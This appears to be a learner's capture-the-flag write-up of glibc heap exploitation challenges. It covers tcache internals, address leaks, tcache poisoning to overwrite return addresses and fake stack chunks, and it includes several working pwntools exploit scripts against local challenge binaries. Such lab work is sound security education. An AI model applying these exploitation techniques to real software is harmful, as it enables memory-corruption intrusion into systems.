The challenge mentions: “If you attempt to malloc an address near where the secret is stored, it will be discarded.”
_Obviously, _when you free a chunk and it goes into the tcache (Thread Local Cache), the allocator writes two pieces of metadata into the chunk’s user data area:
**next**: A pointer to the next free chunk in the tcache bin.
**key**: A 64-bit value used to detect Double Free vulnerabilities.
Action
What happens to the key?
**malloc**
The chunk is removed from the tcache. The allocator zeros out the keyfield (and the nextpointer) before handing the memory to you. This ensures that your “fresh” memory doesn’t contain sensitive heap pointers.
**free**
The allocator checks if the chunk is already in the tcache using the key. If not, it stores the address of the tcache_perthread_structinto the keyfield of the chunk.
The **next** pointer is at the start of the chunk.
The **key** pointer is 8 bytes after the start.
Utilizing the **zeros out **in malloc to reset secret.
In glibc heap management, memory is typically aligned to 16 bytes.
[LEAK] The local stack address of your allocations is at: 0x7ffc2d8018f0.
[LEAK] The address of main is at: 0x60315757bafd.“
Two critical pieces of information:
Stack Leak ( _0x7ffc2d8018f0 _): This tells you exactly where your allocations array (the list of pointers) is stored in memory. If you can overwrite a pointer here or a return address nearby, you can redirect the program’s execution.
Main Leak ( _0x60315757bafd _): This helps you bypass ASLR (Address Space Layout Randomization). By knowing where main is, you can calculate the location of other functions, like a win() function or the system() function in the C library.
Find win funtion
win_addr = (main_leak - 0x1afd) + 0x1a00
This is the start of allocations array (rbp - 0x110)
In [3]: from pwn import * ...: addr = 0x422a68 ...: secret =16*b'\00' ...: def cyc(): ...: p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ") ...: alloc_stack = p.recv(14) ...: alloc_stack = int(alloc_stack, 16) ...: p.recvuntil(b"[LEAK] The address of main is at: ") ...: main_addr = p.recv(14) ...: main_addr = int(main_addr, 16) ...: ret_addr = alloc_stack + 0x118 ...: win_addr = main_addr - 0x1afd + 0x1a00 ...: print(hex(ret_addr)) ...: print(hex(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 1\n ') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 2\n ') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(ret_addr)) ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'q\n ') ...: ...: p = process('/challenge/sus-sequence-easy') ...: #out = b'' ...: cyc() ...: p.interactive()
Sus Sequence (Hard)
Echo Emanations (Easy)
wow
echo: Takes an index and a “length.” It calculates a new address (pointer + length) and passes it to a specialized echo function.
This function is a wrapper for the system call execve. It behaves as follows:
It mallocs a new 0x20 byte chunk.
It builds an argv array (arguments for a program) inside that chunk:
argv[0]: Points to the string /bin/echo (stored at bin_echo).
argv[1]: Points to the string Data:.
argv[2]: Points to the address calculated in main (user_ptr + user_length).
argv[3]: NULL.
It then forks. The child process runs execve("/bin/echo", argv, NULL), which effectively prints the data located at user_ptr + user_length.
IDA
what’s execve?
Return to assembly
The “echo” funtion malloc 0x20 at start
we can free a 0x20-chunk before call echo, the chunk-A will be allocted to echo funtion
When call echo 0 0, the echo function does its own internal malloc(0x20) (32 bytes). Because of the LIFO rule, the **echo** function is now using **CHUNK_A** to build its **argv** array
The function then writes specific pointers into CHUNK_A:
At **CHUNK_A + 0**: It writes the address of the string **"/bin/echo"**.
At **CHUNK_A + 8**: It writes the address of the string **"Data:"** (which is on the stack).
According to the assembly, argv[2] (the second thing /bin/echo will print) is calculated as arg1 + arg2.
You passed arg1 = allocations[0] (which is the address of CHUNK_A).
You passed arg2 = 0.
Therefore, argv[2] points to **the start of ****CHUNK_A**.
What is at the start of CHUNK_A?
The memory address of the string **"/bin/echo"** itself.
In [4]: from pwn import * ...: addr = 0x422a68 ...: def cyc(): ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n0\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'echo\n 0\n 0\n') ...: p.recvuntil(b"Data: ") ...: base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x33f8 ...: win_addr = base_addr +0x1b00 ...: print(hex(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'echo\n 0\n 8\n') ...: p.recvuntil(b"Data: ") ...: main_ret_addr = u64(p.recv(6).ljust(8,b"\x00")) + 0x16e + 0x8 ...: print(hex(main_ret_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n 1\n ') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n 2\n ') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(main_ret_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'q\n ') ...: ...: p = process('/challenge/echo-emanations-easy') ...: #out = b'' ...: cyc() ...: p.interactive()
Echo Emanations (Hard)
Stack Spoofing (Easy)
The stack_free:
It calculates (rbp - 0x90) + 0x40, which is **rbp - 0x50**.
It then calls **free()**** on that stack address**. Under normal circumstances, this would crash the program. You must set up a “fake chunk” metadata header for this to succeed.
The stack_scanf:
It write data to rbp - 0x90
The stack_free target is at rbp - 0x50, you can use this command to write the “Fake Size” (0x81) at the correct offset to satisfy the heap allocator’s checks.
The stack_malloc_win:
This is the final test. It requests a 0x70 byte chunk.
If your “Stack Spoofing” worked, the Tcache will return the stack address **rbp - 0x50**.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
In [1]: from pwn import * ...: offset = 0x90-0x58 ...: def cyc(): ...: #p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n') ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_scanf") ...: ...: p.sendline(b"k"*offset +p64(0x41)) ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_free") ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_malloc_win") ...: #p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"q") ...: p = process('/challenge/stack-spoofing-hard') ...: #out = b'' ...: cyc() ...: p.interactive()
Stack Spoofing (Hard)
malloc 0x35
Stack Summoning (Easy)
Leak secret ?
We can overwrite secret or puts it
Make secret and stored to rbp - 0xad
stack_scanf funtion, scanf at rbp - 0x150
We can utilize it to make fake chunk
The stack_free will free rbp - 0x110
Free, malloc and scanf
Then, puts or overwrite the secret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
In [7]: from pwn import * ...: offset = 0x150 - (0x110 +0x8) ...: def cyc(): ...: #p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n') ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_scanf") ...: ...: p.sendline(b"k"*offset +p64(0x91)) ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_free") ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"malloc \n 0 \n128\n") ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"scanf \n 0") ...: p.sendline(b"k"*(0x63+0x10)) ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"send_flag\n") ...: p.sendline(b'k'*0x10) ...: #p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"q") ...: p = process('/challenge/stack-summoning-easy') ...: #out = b'' ...: cyc() ...: p.interactive()